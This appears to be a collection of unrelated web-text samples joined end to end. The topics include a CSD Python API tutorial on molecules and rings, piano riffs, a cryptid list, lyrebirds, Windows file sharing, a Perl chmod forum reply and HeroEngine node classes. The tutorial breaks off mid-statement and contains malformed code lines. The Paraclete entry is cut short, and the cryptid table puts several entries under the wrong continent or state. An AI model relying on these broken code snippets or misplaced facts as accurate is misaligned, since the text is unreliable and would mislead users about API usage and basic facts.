Working with molecules, atoms and bonds
The classes ccdc.molecule.Atom, ccdc.molecule.Bond and ccdc.molecule.Molecule are all stored in the ccdc.molecule module.
However, you are unlikely to use these classes to create objects directly. You are much more likely to come across them after having read in a molecule from a file or after having accessed one from a database. Let us therefore import the module to allow us to get access to some molecules.
>>> from ccdc import io
>>> from ccdc.molecule import Molecule
>>> csd = io.MoleculeReader('CSD')
A ccdc.molecule.Molecule can contain several molecules
What - a molecule can contain several molecules??? Yes, in the CSD Python API we refer to these sub-molecules as components.
The reason why this arises is that most molecular file formats allow the inclusion of molecular species which are not covalently bonded to each other to be included in the same entry. Below for example is a SMILES representation of the CSD structure ABEBUF.
This "molecule" contains two components 5H,11H-Dibenzo(b,f)(1,5)diazocine-6,12-dione and pyridine.
It is similarly possible to represent several molecules within single entries of mol2 and sdf files. In mol2 file format these are referred to as substructures.
Let us illustrate this using the CSD structure ABEBUF.
>>> filepath = 'ABEBUF.mol2'
To get access to the molecule in this file we make use of a
>>> mol_reader = io.MoleculeReader(filepath)
>>> mol = mol_reader[0]
>>> print(mol.identifier)
>>> print(mol.smiles)
>>> len(mol.components)
>>> for component in mol.components:
... print(component.smiles)
This has implications for molecular properties, which are calculated using all the components within a molecule. Let us illustrate this using the molecular weight.
>>> print(round(mol.molecular_weight, 4))
>>> for component in mol.components:
... print(round(component.molecular_weight, 4))
Finally, it is worth noting that in many cases when dealing with molecules containing salts and solvents one is not particularly interested in the salts or solvents per se, but rather the larger organic molecule in the structure. This "heaviest" component can be accessed as illustrated below.
>>> heaviest_component = mol.heaviest_component
>>> print('Identifier: %s, Mol.Wt: %.3f' % (heaviest_component.identifier, heaviest_component.molecular_weight))
Identifier: 01, Mol.Wt: 238.241
Standardising and editing molecules
There are some functions available for standardising and editing molecules. Let us start by illustrating how one can remove and add hydrogen atoms.
>>> print(round(mol.molecular_weight, 4))
>>> mol.remove_hydrogens()
>>> print(round(mol.molecular_weight, 4))
>>> mol.add_hydrogens()
>>> print(round(mol.molecular_weight, 4))
To illustrate some of the more advanced molecule standardisation functions let us read in a PDB ligand (from the structure 1f0r), which has not got any hydrogen atoms added to it, in sdf file format.
>>> filepath = '1f0r-lig.sdf'
>>> mol_reader = io.MoleculeReader(filepath)
>>> mol = mol_reader[0]
>>> print(mol.identifier)
>>> print(round(mol.molecular_weight, 4))
First of all if I am unsure about the bond typing I will need to assign this first. Note that this bond typing is based on the geometry of the molecule.
>>> mol.assign_bond_types()
By default, the ccdc.molecule.Molecule.assign_bond_types() function guesses the bond types of all bonds. However, if you had a molecule that only had the bond types set for some of the bonds and you had confidence in these then you could guess the bond types of only those bonds with "unknown" types by setting the parameter which to unknown.
If you prefer to have alternating single and double bonds rather than aromatic bonds you can call:
>>> mol.kekulize()
After the bond types have been assigned one can add hydrogen atoms to the molecule.
>>> mol.add_hydrogens()
Let us check if the molecule has had its molecular weight increased
>>> print(mol.molecular_weight)
If you had a molecule with bond types that you had confidence in, but you wanted to standardise the aromatic and delocalised bonds to CSD conventions then you could make use of the functions:
Finally, let us come back to the concept of a molecule having multiple components. Suppose that we wanted to add the heaviest component from the ABEBUF molecule to the 1f0r ligand. This could be achieved with the ccdc.molecule.Molecule.add_molecule() function.
>>> mol.add_molecule(heaviest_component)
>>> for component in mol.components:
... print(component.identifier)
Operations which change the underlying molecule of an entry or a crystal, such as adding hydrogens, or assigning bond types will permanently affect the molecule. Any subsequent access of the molecule of an entry or crystal will return the mutated molecule. Reading the entry or crystal afresh from a database will, of course, return the original, unmutated molecule.
Accessing molecular properties
Let us now have a look at the molecular properties available to us using the ABEBUF structure.
>>> filepath = 'ABEBUF.mol2'
>>> mol_reader = io.MoleculeReader(filepath)
>>> mol = mol_reader[0]
Lists of the atoms and bonds in a molecule are accessed using the attributes with these names.
>>> mol.atoms
[Atom(O1), Atom(O2), Atom(N1),... Atom(H13), Atom(H14), Atom(H15)]
>>> len(mol.atoms)
>>> mol.heavy_atoms
[Atom(O1), Atom(O2),... Atom(C17), Atom(C18), Atom(C19)]
>>> mol.bonds
[Bond(Double Atom(O1) Atom(C1)),... Bond(Single Atom(H15) Atom(C19))]
>>> len(mol.bonds)
we can gain access to particular atoms and bonds of the molecule if we know their index in the lists. Alternatively, we can gain access to particular atoms and bonds of the molecule by atom labels, provided the labels used are unique within the molecule:
>>> mol.atom('O2')
>>>'C1', 'O1')
Bond(Double Atom(O1) Atom(C1))
The atoms and bonds have a Sybyl type:
>>> print(mol.atom('N1').sybyl_type)
>>> print('N1', 'C1').sybyl_type)
An atom has a Van der Waals radius:
>>> mol.atom('O1').vdw_radius
>>> mol.atom('C1').vdw_radius
An atom also has an atomic weight:
>>> mol.atom('O1').atomic_weight
>>> mol.atom('C1').atomic_weight
We can also access the formal charge of the molecule as well as the molecular weight, the molecular volume (if all the atoms of the molecule have 3D coordinates) and the molecular formula.
>>> mol.formal_charge
>>> round(mol.molecular_weight, 2)
>>> round(mol.molecular_volume, 2)
>>> mol.formula
'C19 H15 N3 O2'
Note that the molecular formula is the sum of all the components in the molecule. To get a component-wise formula one can for example:
>>> '.'.join(c.formula for c in mol.components)
'C14 H10 N2 O2.C5 H5 N1'
There is also a property which tells you whether or not the molecule is organic (as opposed to metal-organic).
>>> mol.is_organic
It is also worth mentioning that the molecule identifier and SMILES representation can be accessed through the molecule.
>>> print(mol.identifier)
>>> print(mol.smiles)
We can get access to the rings of a molecule. For example, let us read in 'CEMGUY' from the CSD which has an interesting set of rings:
>>> cemguy = csd.molecule('CEMGUY')
CEMGUY 2D diagram.
CEMGUY 2D diagram, to exemplify ring analysis.
We can immediately get access to the size of the largest and smallest ring of this molecule:
>>> print('Largest ring: %d, Smallest ring: %d' % (cemguy.largest_ring_size, cemguy.smallest_ring_size))
Largest ring: 6, Smallest ring: 3
The molecule has a property which will give access to the basic rings of the structure. The set of rings returned will be all simple rings, not an enclosing, larger ring. In this example, there will be a 3-membered ring, a 5-membered ring and two six-membered rings, but not the six-membered ring containing the 3- and 5-membered rings:
>>> rings = cemguy.rings
>>> print(len(rings))
>>> print([len(r) for r in rings])
[3, 5, 6, 6]
We can get the atoms and bonds of each ring:
>>> print(rings[0].atoms)
[Atom(...), Atom(...), Atom(...)]
>>> print(rings[0].bonds)
(Bond(Single Atom(...) Atom(...)), Bond(Single Atom(...) Atom(...)), Bond(Single Atom(...) Atom(...)))
Note that the atoms of the ring are ordered such that there is a bond between consecutive atoms. We can test for containment in a ring:
>>> print(c


text:
Learn How to Play Piano Riffs / Licks – Add to Your Repertoire
Learn how to play piano riffs / licks and add to your repertoire of piano techniques. Knowing Blues, Gospel, Jazz, Boogie Woogie, Funk, Latin, and Country piano riffs will make your piano playing sound lot more professional.
If you're not sure what a piano riff / lick is, then the couple of videos here will show you what it means.
Video showing you how to play a Blues Riff / Lick
Video showing you how to play a Funk Groove
Books to Learn Blues, Gospel, Jazz, Boogie Woogie, Funk, Latin, Country and
many more Piano Riffs/Licks
Some of these books can be used by beginners but mostly suitable for intermediate to experienced piano players.
With these books, you can learn intros and endings suitable for use in gigs, smooth-sounding progressions for fill-ins, and simple to more complex chord progressions.
Thousands of people have learned to play with this Piano Learning Course.
Check it Out Now!
Here's a little bit of music theory before me move ahead with the explanation. Don't worry it won't be long
Heard of the word Ostinato?
In music theory, it means a musical phrase that is persistently repeated. And since this is music, you have flexibility to use it as part of melody or use it as part of the rhythm.
Lot of musicians in the 1920s, especially those who played more of rock and jazz probably felt that the word Ostinato was too formal. So they introduced the term Riff in their music vocabulary. Over a period of time musicians also started using the term Lick.
That's how the terms Piano Riffs and Piano Licks came into existence!
A piano Riff / Lick is a repeated chord progression, or a melodic phrase, and can be used as part of the accompaniment or as part of solo playing.
What is a Piano Riff / Lick
If you have played in a band, I am sure you would have realized that playing the rhythms become monotonous after some time.
It would be great to know some amazing "musical runs / short passages" which you can play from time to time to make it sound more interesting. Piano riffs should help you out!
A Piano riff is nothing but an impressive sounding musical ditty / pattern that you use as part of an accompaniment or as fillers between songs.
They are not recognizable melodies as such and are basically used more as a decoration tool on the overall song.
It is a handy tool to have in your repository since it easily impresses people who happen to be listening to you.
If you are playing in a band, it is even more important to be able to play piano riffs; you can use them during breaks or you can use them for your solo part.
Though some of the riffs may look very easy to play, you need to ensure that you observe the correct articulations and dynamics, which makes it a challenge to play riffs.
Play it on Your Piano
If you have an acoustic piano at home, and have not been practicing a lot, then you may find it difficult to play Piano Licks all of a sudden, considering that you may have to play it faster. Add to it the hammer action keys, and you may need more time and practice to play piano licks comfortably.
On music keyboards, it may be comparatively easy to play riffs, but then these licks sound much better on a piano (IMHO).
Nevertheless, you still have to learn and practice them!
As always, when learning new things, try learning each hand separately and once you are comfortable try both the hands together.
In general, you can use riffs to add to your repertoire and melodic ideas. You may even choose to use these rhythmic chord patterns for music therapy practice.
Learn how to play piano riffs for various styles of music like rock, blues, boogie, etc. and make sure you always have a handful of those in your bags of tricks. I am sure nobody will see you as a novice once you can play riffs.
Learn to Play Piano the Right Way with this Piano Course
No related posts.

source: HuggingFaceFW/fineweb-edu


text:
OBJECTIVE. We reviewed the evidence regarding the effectiveness of community occupational therapy interventions, delivered alone or within a multidisciplinary team, in improving occupational outcomes for adults with selected chronic diseases.
METHOD. We completed a scoping review of randomized controlled trials published from 1988 through 2008. Studies included participants with heart disease, depression, rheumatoid arthritis, osteoarthritis, chronic obstructive pulmonary disorder, or diabetes.
RESULTS. Sixteen studies met the inclusion criteria. Ten studies found significant differences between intervention and control groups for at least one outcome of function in activities of daily living, functional self-efficacy, social or work function, psychological health, general health, or quality of life. Conflicting evidence exists regarding the impact of intervention on physical function and health.
CONCLUSION. Occupational therapy can improve occupational outcomes in adults with chronic diseases. Using and building on this evidence, occupational therapists can continue to promote their role in helping to meet this population's needs.

source: openbmb/Ultra-FineWeb


text:
Paraclete occurs in the Gospel of John as a name, or an epithet of the Holy Spirit, and in 1 John as a title of Jesus Christ. Paraklētos is a verbal adjective of parakaleō. In common Greek usage it means 'called to one's aid', 'summoned', and as a substantive 'legal assistant, advocate', or, in a more general sense, 'intercessor'. The reference is nearly almost to human persons, not to divine beings.
In John 14–16 the name Paraclete occurs four times (John 14.16–17, John 26; John 15.2…


text: Francesco was born in Milan, where he still lives. He spent his early childhood, during the war, in a small mountain village in Valtellina, where the contact with nature opened his mind to contemplation and art. He learnt to draw and paint from his father. In 1960 he met Cesare Cassina, who was the first to offer him the opportunity to practice his art in the industrial field. From 1969 to 1976, he was the director of the Centro Cesare Cassina, a design research laboratory sponsored by Cassina and C&B Italia (now B&B Italia) until 1972, and then by Cassina alone until 1976. It was here that he began to transfer the processes of his artistic practice into his design research, exploring new and original methods to enhance individual and collective creativity, and he involved architects and designers in the creation of products destined to enter Italian design history. In 1980 he established his own Design & Communications Centre, for design research and promotion. He designed the staging and props for the launch of new products and invented what would later become known as the event concept, giving the space being designed a theme and a title of its own. In 1992, he was invited by Massimo Morozzi to design for Edra. This marked the beginning of a unique and fascinating period that saw the invention and design of large sofas whose shapes and ideas used an essential, communicative language to express the essence of semantic precision, the joy of performance, interactive intention, curiosity and an interest in human behaviour. He prefers to design furniture and decor objects, and in particular sofas, because they call into play the Other, Space and Communication, the spheres in which he most loves to work, and that respond more than others to his questions about behavior and relationships. The Annett collection for Magis, and Sofa, Brenno and Standard sofas for Edra, are the fruit of a new, expressive period in which quality and signifies measure up against the demands of a broader segment of the market.


text:
What is a thread cutter?:
A thread cutter is a tool used in beadwork to cut beading threads of several types. They are usually circular in shape and have a blade set between two notched discs. They can be strung as a pendant.
What is it used for?:
A thread cutter is used for cutting beading threads. You can use a thread cutter to cut either gel-spun (fishing line-type) threads or nylon beading threads. They are generally used when cutting new lengths of thread rather than for finishing cuts because the shape and design of the thread cutter make it difficult to make precise cuts close to beadwork.
How do I use a thread cutter?:
To use a thread cutter, place your beading thread into one of the notches where the cutting blade is exposed. To cut the thread, pull it tightly over the blade until it cuts.
Where can I buy a thread cutter and how much do they cost?:
Thread cutters can be purchased from most sewing and craft supply companies and stores. Some local bead shops also carry thread cutters. A thread cutter is an inexpensive tool, costing around $5.
- Great for travelers or frequent fliers because it can be taken on most aircraft in the United States
- No risk of cutting fingers on the recessed blades
- Easy to cut thread
- Can also make a pretty pendant
- Not suitable for making close finishing cuts of thread because the shape makes it difficult to get close to the beadwork
- Blade cannot be resharpened or replaced, so the entire unit must be replaced when the blade finally wears out


text:
Ajahn Sumedho is a prominent figure in the Thai Forest Tradition. His teachings are very direct, practical, simple, and down to earth. In his talks and sermons he stresses the quality of immediate intuitive awareness and the integration of this kind of awareness into daily life. Like most teachers in the Forest Tradition, Ajahn Sumedho tends to avoid intellectual abstractions of the Buddhist teachings and focuses almost exclusively on their practical applications, that is, developing wisdom and compassion in daily life. His most consistent advice can be paraphrased as to see things the way that they actually are rather than the way that we want or don't want them to be ("Right now, it's like this..."). He is known for his engaging and witty communication style, in which he challenges his listeners to practice and see for themselves. Students have noted that he engages his hearers with an infectious sense of humor, suffused with much loving kindness, often weaving amusing anecdotes from his experiences as a monk into his talks on meditation practice and how to experience life ("Everything belongs").
Using reason and logic, that is, acquired knowledge, we get caught in dualistic positions: right and wrong, good and bad, etc. We tend to
establish a fixed view about things. In this talk Ajahn Sumedho is trying to get us to a place beyond such dualistic thinking, beyond taking sides. He says that intuitive awareness involves a one-pointedness (ekaggata) that includes, rather than excludes. It is not dualistic. Transcendence is a matter of "being" it, not thinking about it.


From Kook Science
(Redirected from List of crypto-hominoids)
Crypto-hominid refers to any cryptid of the same family as Humans and related great apes, as compared with a crypto-hominoid, which would refer to any cryptid belonging to the broader superfamily Hominoidea. Given the unknown and indeterminate status of any particular cryptid, such as the Bigfoot or Yeti, it would be difficult to confirm whether such beings should be properly classed as crypto-hominid or crypto-hominoid.
List of crypto-homin(o)ids (and related legends)
It should be noted that many of the legendary figures included in this list are Wild Man legends, and so may refer to human beings or human-like deities, not conforming to the ideation of hairy, ape-like cousins to the human family. Cryptids such as the deerman, goatman, or frogman are excluded from this list, though they are of interest in the broader study of the crypto-hominid phenomenon.
Name Meaning Origin Continent Region Area First reported
Yeti "Rock bear" (གཡའ་དྲེད་, g.ya'dred) Tibet Asia Central Himalayan Mountains
Sasquatch "Wild Man (of the woods)" [Sásq'ets] Halkomelem Salish North America Pacific Northwest British Columbia
Bigfoot Big Foot (reference to size of footprints) California North America Pacific Northwest California 1958
Agogwe Unclear; Kuria or Chagga (Bantu) word Tanzania Africa East Tanzania
Almas "Wild Man" Mongolia Asia Central Caucasus & Pamir Mountains
Arulataq "(Creature who) makes a bellowing cry" Yup'ik North America Alaska Southwest
Old Yellow Top, or Pre-Cambrian Shield Man So-called for the distinctive mane Ontario North America Ontario Timiskaming District 1906
Traverspine Gorilla Named for Traverspine River Labrador North America Newfoundland Labrador Interior 1910s
Abominable Chicken Man Play on Abominable Snow Man, hand-prints from a chicken coop raid Oklahoma North America South Central Oklahoma 1971
Boggy Bottom Monster Named for Clear Boggy Creek, Atoka County, OK Oklahoma North America South Central Oklahoma
Boggy Creek Monster Named for Boggy Creek, AK Arkansas North America Southern Arkansas 1851
Bukwas "Wild Man of the Woods" Kwakwaka'wakw North America Pacific Northwest British Columbia
Choanito "Night People" Wenatchi North America Pacific Northwest Washington
Fouke Monster Named for Fouke, AK Arkansas North America Southern Arkansas 1851
Ge-no'sqwa "Stone Giants" Seneca Iroquois North America North East New England
Honey Island Swamp Monster Named for Honey Island Swamp, Louisiana Louisiana North America Southern Louisiana 1963
Letiche Unclear; attributed to Native Americans or Cajuns, conflated with Honey Island Swamp Monster North America Southern Louisiana
Miluquyulit "The throwers" Yugtun (Yup'ik) North America Alaska Southwest
Momo Abbreviation of "Missouri Monster" Missouri North America Southern Missouri 1971
Nant'ina ? Den'aina North America Alaska Central
Nuk-luk "Man of the Bush" Dené North America Northwest Territories
Omah "Creek Devil" Yurok North America Pacific Northwest California
Sc'wen'ey'ti "Tall Burnt Hair" Spokane North America Pacific Northwest Washington
Tintah-k'iwungxoya'n "Old man of the woods" Hupa North America Pacific Northwest California
Tsul 'Kalu "The Slant-eyed (or Sloping) Giant" Cherokee North America South East
Urayuli "Hairy man" Eskimo North America Alaska Southwest
Yi'dyi'tay "Wild Man" Nehalem, Tillamook North America Pacific Northwest Oregon
Yohemiti "Some among them are killers" Miwok North America Yosemite Valley California
Xipe Central America Nicaragua
Achi Tamanac South America Venezuela
Aigypan South America Venezuela
Alux South America
Curinquean Unclear; a legendary indigenous peoples described in Portuguese literature South America Brazil Mato Grosso
Didi South America Guyana
Duende South America Peru
Guayazi South America Brazil
Mapinguary South America Brazil
Maricoxi Maxubis South America Brazil Matto Grosso
Mohán Unclear; from the Carib title for priests Colombia South America Colombia
Mono Grande Spanish for "Big Monkey" South America Guyana
Shiru South America Colombia
Sisemite South America Guatemala
Tarma South America Peru
Ucumar South America Chile
Ukumar-zupai South America Argentina & Chile
Vasitri "Great Devil" Maipure South America Venezuela Upper Orinoco
Wodewose "Wild Man of the Woods" England Europe
Am Fear Liath Mòr "Big Grey Man" Scotland Europe Scotland Ben Macdui
Abamaanji Africa Central DR Congo
Abonsei Africa
Apamandi Africa Central DR Congo
Chemosit Africa East Kenya
Doku Africa
Fating'ho Mandinka Africa West Senegal
Ijimere Patas monkey Yoruba Africa West
Kakundakari Konjo (Bantu) word Congo Africa Central Congo
Kara-Komba "Monkeys-who-carry-much" Banda Africa Central Central African Republic
Kikomba Africa Central Congo
Kooloo-kamba Africa Central Gabon
Mau Africa
Mberikimo Africa
Milhoi Africa
Muhalu Africa Central Congo
Ngoloko Africa East Kenya
Sehite Guéré / Wè Africa West Ivory Coast
Tano Giant Named for the Upper Tano region Africa West
Toulou Africa Central Central African Republic
Ufiti Africa West Malawi
Wa'ab Africa East Sudan
Zaluzugu Africa Central Congo
Barmanou "Big Hairy One" Pakistan Asia Central Hindukush & Karakoram
Batutut Onomatopoeia - Asia South East Borneo
Bukit Timah Monkey Man Named for Bukit Timah region of Singapore Singapore Asia South East Singapore 1805
Bun Manchi "Jungle Man" Nepal Asia Central Nepal
Chuchunaa "Outcast" Siberia Asia Northern Russian Siberia
Gin-Sung "Man-Bear" (人熊; rén xióng) China Asia China Sichuan
Gul-Biavan Asia Central Tajikistan
Hibagon Named for Mount Hiba (比婆山, ひばやま, hiba-yama) Asia East Japan 1970
Jungli Admi Asia Central India
Kaki Besar "Big Foot" Malaysian Asia South East Malaysia
Kang Admi "Snow Man" Tibet Asia Central Tibet
Kapre Asia South East Philippines
Kaptar Asia North East Mongolia, Russia
Ksy-Giik Asia Central Kazakhstan, Kirghizistan
Kung-Lu Asia China
Maero Maori Asia South East New Zealand
Mawas Asia South East Malaysia
Miche "Man-Bear" (མི་དྲེད; mi dred, michê) Tibet Asia Central Tibet
Migoi "Wild Man" (མི་རྒོད; mi rgod, migö/mirgö, mi-go) Tibet Asia Central Tibet
Mirka "Wild Man" Nepal Asia Central Nepal
Monkey Man of New Delhi Named for the city of New Delhi India Asia Central India 2001
Nasnas Asia Central Iran
Nguoi Rung Kinh Asia South East Vietnam
Nittaewo Asia South Central Sri Lanka
Orang Gadang Asia South East Sumatra
Tok Asia China
Vele Asia Fiji Islands
Yeren "Wild Man" China Asia Central South East
Yowie ? [Yuuri, Yowri] Koori Australia New South Wales


text:
A small crowd gathered around a bird in the home of Mrs. Edith Wilkinson. His feathers stretched out, the bird opened his beak and sang out in the low voice of the kookaburra–then the magpie, the cockatoo, and even the "tooting of motor horns" before performing a two-step dance. Mrs. Wilkinson made friends with the bird, James, over a course of a year and was now proving her sanity to peers, or so goes the account in the 1930 book Lore of the Lyrebird by Ambrose Pratt.
Stories about these birds can be found again and again. The lyrebird's plumes are not as colorful as a peacock's, and they may not soar above trees for onlookers below, but this bird's voice and dancing abilities have captivated humans for thousands of years.
Part of the genus Menura, the ground-dwelling lyrebird could be either of two species; the superb lyrebird and Albert's lyrebird. Both birds are brown, pheasant-like, and inhabit the lush forests of south eastern Australia and walk the forest floor, often dashing out of sight when people approach. The superb lyrebird's long tail inspired its English name in the 1800s, when a taxidermist at the British Museum incorrectly guessed at the bird's tail, and artistically arranged it to curl like a lyre, later inspiring a John Gould painting with the same attributes. Albert's lyrebird, named for England's Prince Albert, lacks the long feathers, but most people are less impressed with their tails than this bird's highly versatile voice.
Chook, the lyrebird who lived until 2011 at the Adelaide Zoo in southern Australia, became famous in Sir David Attenborough's installment for BBC wildlife and on YouTube for mimicking chainsaws, hammers, cameras, and power drills. Nova, the superb lyrebird at Healesville Sanctuary similarly copied human noises, including car alarms and human speech.
While these birds' skills are impressive, it doesn't necessarily mean birds in the wild will pick up on man-made sounds readily if they aren't common in the bird's habitat–but as a bird hand-raised in captivity, Chook was instinctually drawing from his environment to develop the most complex song he could.
There are plenty of accounts about lyrebirds drawing from man-made sounds, however. Vicki Powys, Hollis Taylor and Carol Probets tried to uncover one story of the "flute lyrebirds" that inhabit Australia's New England Tablelands, and published their investigation in the journal Environmental Humanities. As the story goes, in the 1920s, a lyrebird was raised in captivity in a house with a flute player who practiced a song called "The Mosquito Dance." The bird was eventually released, fluttering into the Australian wilderness and introducing flute sounds to nearby lyrebirds. A woman named Martha Manns claimed to record these birds in the 1930s. In 1973, Norman Robinson recorded a group of lyrebirds in New South Wales after a national park ranger, Neville Fenton, noticed the birds sounded very similar to classical flute. While the veracity of this tale is yet to be (and may never be) confirmed, the recordings do sound notably flute-like.
Lyrebirds' voices pick up where the mockingbird left off; they are able to mimic sounds of other birds and animals so well, and build such a repertoire of noises, that people may be fooled into believing they're listening to several species–they can even call out in a few different bird voices at once. These birds have been known to imitate hundreds of other bird species. They sing the most during their mating season, the Australian winter months of June and July.
"We are not yet sure what physical attributes of lyrebirds allow them to imitate a diverse array of sounds," says Dr. Anastasia H. Dalziell, an ornithologist at Cornell University who has studied mimicry in birds and the superb lyrebird extensively. "We suspect that lyrebirds have evolved a specialized syrinx (the songbird equivalent to our larynx) that allows them to vocally imitate a diverse array of sounds, while other songbirds probably have syrinxes optimized for their species-specific songs."
While more research is necessary, lyrebirds may also have more of an ability to copy, learn, and remember complex strings of sounds than other birds–possibly learning them from other lyrebirds in a given area or from older generations.
Aboriginal stories, gathered by David Unaipon at the turn of the century, point to a rich history of lyrebird reverence. In these stories that explain the creation of the physical world, often called Tjukurrpa, or Dreamings, the lyrebird is seen as a vital influence on nature, teaching the frog how to talk and guiding human characters with its voice.
As part of the Australian forest ecosystem, lyrebirds do play a vital role, and may even naturally prevent wildfires, according to research by Daniel Nugent and other ornithologists. "Lyrebirds have quite a visible effect on the forest floor," says Dalzeil. "Lyrebirds have big feet and feed by digging in the ground and demolishing rotting logs, so as to churn up worms and other invertebrates which they eat." The removal of extra refuse on the forest floor means there is less fuel for wildfires. "After a lyrebird has been through, the forest floor can look like it has been ploughed," she adds.
Those reports of people hearing lyrebirds in the wild mimicking chainsaws, would indicate, if true, that this was one of the sounds being heard most often by the birds–something that could harm the nearly-threatened Albert's lyrebird along with the forest ecosystem.
While many birds mimic sounds, or have glorious feathers and complex dances, Dalzeil attests that "no other species puts these things all together like the lyrebirds do." Lyrebirds are notoriously discreet when they aren't singing and dancing on mounds of dirt in the forest, so you may not catch a glimpse in the wild right away. But if you're walking in the bush of Australia and hear a bizarre mix of various avian creatures, you might just be listening to a single, mesmerizing bird.


text:
To see the files, folders, and libraries that have been shared on your network, open File Explorer.
Open File Explorer by swiping in from the right edge of the screen, tapping Search (or if you're using a mouse, pointing to the upper-right corner of the screen, moving the mouse pointer down, and then clicking Search), entering File Explorer in the search box, tapping or clicking Apps, and then tapping or clicking File Explorer.
The location where the shared items appear depends on the type of network you have, and which Windows operating system is running on the PC you're using to find the shared files or folders.
|From a PC running||On this type of network||Shared items appear under|
Windows 8 or Windows 7
Windows 8, Windows 7, or Windows Vista
Workgroup or domain
My Network Places
If you can't see items on a network that are supposed to be shared with you, ask the person who's sharing them for the path (it should begin with \\computername\). Enter this path in the address bar in File Explorer.
If the items you've shared don't appear under Network, you can customize your view of folders in File Explorer to see which items have been shared and the people you're sharing them with. Open a folder that contains the items that you think are shared. On the View tab, in the Layout group, tap or click Details. Tap or click Add columns, and then choose Choose columns. Select Shared and Shared with, and then tap or click OK.


note marto The point OP made is that perls [doc://chmod] does not work the same as chmod on their linux system. The linux chmod command assumes that missing digits are leading zeros, perls [doc://chmod] does not operate in the same manner. The docuemtnation I suggested reading (and understanding) provides examples and an explanation that the number passed should be an octal number. Perhaps to fully understand this I should also have suggested that OP read man chmod to understand why it works the way it does. The docs also point to portability issues on certain platforms. IMHO reading the documentation for each command provedes sufficent information to explain why they behave differently. _PHONE_ _PHONE_


Skip to content ↓
Gladstone Primary Academy
Our Learning and Teaching Policy is based on the idea that you have to be challenged to learn something new. This is represented as a learning line.
The learning line represents learning in a continuous way, making it clear that learning is an ongoing process. We have magnified a part of that process in order to have a clear, shared understanding of how we learn. The statements above the line model what pupils can do along their learning journey and the sections below explain what the teacher's role could be whilst supporting pupils to learn.
Each classroom has a learning line display that is interactive. Pupils use this regularly to show their understanding of the learning process and can discuss this with adults and their peers. Pupils also have an understanding of strategies that can be used to support learning and can apply these during the 'dip' of the learning line. They recognise that in order to learn, you often make mistakes and therefore develop your skills accordingly.
The learning line is supported by 'certainties' that are part of every classroom and lesson.


text:
Nodes and Classes
- Please also see the section on Node Creation.
A HeroEngine world is comprised of many different types of data structures, which define the areas, characters, objects, and other less tangible assets which make up the world. This data is usually stored on Nodes, which have various fields which store the data. The Fields are data structures which hold a piece of information such as a number or a piece of text or other much more complex things such as arrays of enumerated values.
Fields are grouped by placing them into different kinds of classes. Nodes are created based on those classes. For example, a "fountain" node might have fields such as "position" to specify where the fountain is located in a particular area, and "scale" to specify how large it is.
Fields are not assigned directly to Nodes, but are assigned via classes. A class defines (among other things) a particular set of fields. A given field can be in multiple classes.
Nodes are created of a particular class, which becomes the node's base class. Later, other classes can also be added to the node, and it will then have access to any field which is defined in at least one of those classes.
Classes and Fields make up (in part) the Data Object Model or DOM of your game. Nodes make up the Game Object Model or GOM of your game. In addition to the DOM definitions and Nodes your game creates, there are many more definitions and nodes that are part of HeroEngine automatically, and included as part of the MMO Foundation Framework.
When a class is created, it must be specified to be one of a dozen different archetypes. For a complete list, see the section on Archetypes. Examples of Archetypes are:
character. Archetypes are used to specify how the server deals with a particular class, such as what kinds of events it triggers. For example, if the position of an instance is changed, the server knows that it needs to send out position updates to other entities, whereas if a position is changed on some other type of archetype, the server will take different actions.
Adding classes to a node
Further classes can be added to a node (this is called "glomming" a class onto the node). It is not possible to simply add a single field to a node -- to add a field, the field must first be added to a class, which is then added to the node. Or, a field can be added to a class which is already on the node, and the node will then automatically have access to the new field.
There are two different ways to add a class to a node: Via the CLI, or via HeroScript. In the CLI, the MNAC command would be used (MNAC stands for Modify Node, Add Class). In HeroScript, the exposed function
glomClass would be used:
In the CLI:
: MNAC 7 ; apple // Add the "apple" class of fields to node # 7
function Example() sampleNode as noderef // Define a node reference sampleNode = 7 // Specify which node that the noderef references GlomClass("apple", sampleNode) // Add the class of "apple" fields to the node.
There are multiple ways for a field to be associated with a particular class.
- When the class is first defined:
- It can have fields specified at the time of creation
- A class can be specified to have a parent class, which means the new class inherits all fields from the parent (including any fields that the parent has inherited from its own parent(s)).
- After a class has been created:
- New fields can be added to the class
- Other parent classes can be added to it. For example, the MCDAP command stands for Modify Class Definition, Add Parent. This is a CLI command that adds one or more parents to a class.
- If a class's parents have any fields added to them, then the child class(es) inherit the new fields as well.
Creating a new class
When a class is created, it can be created "fresh", or it can be created to inherit information from a parent class.
For example, to create a completely new class, the CLI CCD (Create Class Definition) command can be used:
: ccd "banana", data
In the above example, the class "banana" has been created, of the
Adding fields to an existing class
Fields can then be added to the class, also via the CLI, such as with MCDAF (Modify Class Definition, Add Fields):
: MCDAF "banana"; "color", "length", "tastiness" "freshness"
Creating a class from a parent class
A class can also be created with a parent class, which means that the new class inherits the fields that have been defined for another class. For example, to create an "apple" class that inherits from the "banana" class:
: ccd "apple", data; "banana"
The new "apple" class now contains all of the field definitions that the "banana" class did.
Creating nodes from classes
currentFoodNode as noderef // Define a node reference currentFoodNode = createNodeFromClass("banana") // Create the node currentFoodNode.freshness = 5 // Set a value to the node's "Freshness" field
In the above example,
currentFoodNode has been created of class "banana", which means that "banana" is its base class, and will never change, even if additional classes are later added to the node.
Defining a variable without a node
In HeroScript, it is also possible to define a variable as being a particular class, even if it is not associated with a node.
function Example() classWithoutNode as class banana // This creates a data structure with all of the necessary fields classWithoutNode.freshness = 0 // Set the "freshness" field to 0.
Nodes with multiple classes
If a node has multiple classes, and some of these classes duplicate a particular field (like the "backpack" and "leather" classes, which might both have a "weight" field), this does not mean the node has duplicate fields -- it still has only one instance of that field. Also, adding additional classes will not change the data in a node's current fields -- it only adds fields that didn't already exist on the node. Fields that already existed and had data in them will not be affected. New fields will be added with a value of NULL.
For more information on parenting, please see the
IS KINDOF explanation under the WHERE command.


text:
November 20, 2011 through February 24, 2014
For the first time in over 30 years, the Museum of Indian Arts and Culture opens a major exhibition of North American Indian baskets on Sunday, November 20, 2011. The exhibition runs through February 23, 2014.
All objects tell a story, if you know the right questions to ask. At the time the baskets in this exhibition were collected little to no information was recorded; the weaver's names are largely unknown. Nonetheless, each basket has an identity, a woven identity. The identity of each basket—where it was made; when it was made; who made it; who it was made for; why it was made—by "reading" its individual characteristics.
To read a basket five principal traits must be taken into account: material, construction, form and design, and utility. Woven Identities is divided into five sections representing these essential and diagnostic Native American basketry traits. If you ever wanted to learn the language of baskets, begin your journey with this exhibition.
